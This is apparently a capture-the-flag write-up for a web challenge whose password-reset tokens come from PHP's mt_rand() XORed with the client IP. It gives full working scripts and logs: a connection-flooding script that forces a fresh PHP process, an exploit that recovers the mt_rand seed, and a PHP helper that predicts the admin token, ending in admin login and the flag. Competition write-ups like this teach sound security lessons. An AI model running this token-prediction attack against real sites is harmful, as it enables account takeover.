For this challenge we had a webpage (+ sourcecode which I lost, so I can’t show it here) that allowed us to register and login, as well as requesting a resetcode for our account and verifying that code to get a new random password.
The flaw was the way the reset-code was generated (this is recapped from what I remember >.< ):
$ip = ip2long($_SERVER['REMOTE_ADDR'])
$token = mt_rand() ^ $ip
When registering an account the REMOTE_ADDR
was saved as the mail-address for that account, and when requesting the token it was send to our IP on port 110 as the string token=$token
Now we can plan our attack:
- Register a new account
- Request a password reset for that account
- XOR with our IP to get the actual
mt_rand()
value - Request a new token for the admin (we won’t get the actual token, but it is equal to the next
mt_rand()
call) - Feed to php_mt_seed
- Use PHP with
mt_srand($seed); mt_rand(); mt_rand()
to generate the admin token - XOR with our IP, then send it as the reset token to obtain a new admin password
- login as admin with that password
The server runs with apache’s mod_php, so we have to make sure that
- We fuckup the server so it will have a fresh client, otherwise the
mt_rand()
values are random. When we get a fresh client the mersenne twister resets and we can use the seed - Stick to the same PHP process by using keep-alive’s
Using Amazons 10xlarge VM with 40 CPU’s allows about 350,000,000 seeds per second, better than my local machine ;-) But should work with a mid-sized CPU as well.
web300.php
, helper script for mt_s?rand()
:
<?php
mt_srand($argv[1]);
echo 'Initial Key:' . mt_rand() . PHP_EOL;
echo 'Validate Key: ' . mt_rand() . PHP_EOL;
echo 'Admin Token: ' . mt_rand() . PHP_EOL;
web300_2.py
, called initially to consume all open sessions, then our main-script is able to do it’s job:
from socket import socket
from time import sleep
def post(s, data, recv=True):
data = '''POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Connection: keep-alive
Host: 52.69.0.204
%s''' % (len(data), data)
s.send(data)
s = socket()
s.connect(('52.69.0.204', 80))
post(s, '', False)
sleep(10)
Invoke this via: for i in $(seq 1 100); do python web300_2.py& ; done
Then, while running this, start our main script web_300.py
:
from socket import socket, inet_aton from time import time, sleep from struct import unpack
# PHP's ip2long in python
def ip2long(ip):
return unpack("!L", inet_aton(ip))[0]
# POST with keep-alive
def post(s, data, recv=True):
print(data)
data = '''POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Connection: keep-alive
Host: 52.69.0.204
%s''' % (len(data), data)
s.send(data)
if recv:
print(s.recv(1024))
u = 'ccm%s' % time() # random username
myip = ip2long('10.20.30.40') # my ip
# connect to challenge server
s = socket()
s.connect(('52.69.0.204', 80))
# create account
post(s, 'mode=register&username=%s&password=%s' % (u, u))
# reset our account to obtain initial mt_rand() value
post(s, 'mode=reset&username=%s' % u, False)
# start server to capture response
s2 = socket()
s2.bind(('0.0.0.0', 13110)) # locally natting from 110 -> 13110
s2.listen(1)
s2, addr = s2.accept()
token = int(s2.recv(1024)[6:])
s2.close()
token ^= myip # get actual token
print(token) # feed this to php_mt_seed tool
s.recv(1024) # flush socket buffer
# reset again, since we can have multiple seeds for a given mt_rand value it's better
# to have another seed to validate our results with
post(s, 'mode=reset&username=%s' % u, False)
s2 = socket()
s2.bind(('0.0.0.0', 13110))
s2.listen(1)
s2, addr = s2.accept()
token = int(s2.recv(1024)[6:])
s2.close()
token ^= myip
print(token)
s.recv(1024)
# now pull the connection with keep-alives open, if the connection closes we can't do anything anymore
# hitting ctrl+c when we got our admin key allows us to continue
try:
while True:
sleep(4)
post(s, 'mode=login', False)
s.recv(1024)
except KeyboardInterrupt:
pass
# reset admin token
post(s, 'mode=reset&username=admin')
# get token
token = int(input('admin token?'))
# get new admin password
post(s, 'mode=verify&token=%d' % token, True)
data = s.recv(1024)
pw = data[-16:]
print(pw) # we got the pw
post(s, 'mode=login&username=admin&password=%s' % pw) # get flag
Now our script run:
mode=register&username=ccm1445116143.41&password=ccm1445116143.41
HTTP/1.1 200 OK
Date: Sat, 17 Oct 2015 21:08:33 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.13
Content-Length: 11
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
register ok
mode=reset&username=ccm1445116143.41
274721051
mode=reset&username=ccm1445116143.41
1516024477
keeping connection alive...
^C
admin token? 162649383
mode=verify&token=162649383
HTTP/1.1 200 OK
Date: Sat, 17 Oct 2015 21:08:55 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.13
Content-Length: 0
Keep-Alive: timeout=5, max=92
Connection: Keep-Alive
Content-Type: text/html
new password: gel4olf58uhvlrov
mode=login&username=admin&password=gel4olf58uhvlrov
HTTP/1.1 200 OK
Date: Sat, 17 Oct 2015 21:08:57 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.13
Vary: Accept-Encoding
Content-Length: 82
Keep-Alive: timeout=5, max=90
Connection: Keep-Alive
Content-Type: text/html
Congratulations, the flag is hitcon{howsgiraffesfeeling?no!youonlythinkofyourself}
Meanwhile on our EC2 server:
[ec2-user@ip-10-7-1-102 php_mt_seed-3.2]$ ./php_mt_seed 274721051
Found 0, trying 1140850688 - 1174405119, speed 307506923 seeds per second
seed = 1153153425
Found 1, trying 1543503872 - 1577058303, speed 307470890 seeds per second
seed = 1552042299
Found 2, trying 2583691264 - 2617245695, speed 308316379 seeds per second
seed = 2602372417
Found 3, trying 3657433088 - 3690987519, speed 308124101 seeds per second
seed = 3685446630
Found 4, trying 4261412864 - 4294967295, speed 308128189 seeds per second
Found 4
The first seed worked, here the output of web300.php:
php web300.php 1153153425
Initial Key:274721051
Validate Key: 1516024477
Admin Token: 162649383
ccm